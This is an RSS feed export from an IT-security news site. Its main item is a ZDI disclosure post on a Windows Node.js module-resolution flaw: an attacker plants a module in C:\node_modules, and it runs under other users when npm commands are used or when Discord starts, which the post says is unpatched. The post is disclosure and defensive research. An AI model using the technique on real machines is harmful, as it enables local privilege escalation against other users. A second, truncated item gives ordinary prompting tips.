<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=react+usecallback+usememo+when%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Tue, 28 Jul 2026 23:12:17 +0200</lastBuildDate>
<pubDate>Tue, 28 Jul 2026 23:12:17 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=react+usecallback+usememo+when%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=react+usecallback+usememo+when%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]></title>
<description><![CDATA[Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation fo...]]></description>
<link>https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.</p>



<h2 class="wp-block-heading">Why advanced prompting still matters in enterprise settings</h2>



<p class="wp-block-paragraph">Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.</p>



<h3 class="wp-block-heading">1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning</h3>



<p class="wp-block-paragraph"><strong>The problem:</strong> Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.</p>



<p class="wp-block-paragraph"><strong>What I did:</strong> I started explicitly instructing the model to “think step by step” and show its reasoning.</p>



<p class="wp-block-paragraph"><strong>Before (basic prompt): </strong>“Analyze last quarter’s sales data and recommend three actions.”</p>



<p class="wp-block-paragraph"><strong>After (CoT prompt):</strong></p>



<p class="wp-block-paragraph">“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  </p>



<p class="wp-block-paragraph"><strong>Results:</strong> Accuracy and depth improved dramatically.</p>



<p class="wp-block-paragraph"><strong>Variants that worked well:</strong> Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.</p>



<p class="wp-block-paragraph"><strong>Template you can use:</strong></p>



<pre class="wp-block-code"><code>You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]</code></pre>



<h3 class="wp-block-heading">2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths</h3>



<p class="wp-block-paragraph">For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.</p>



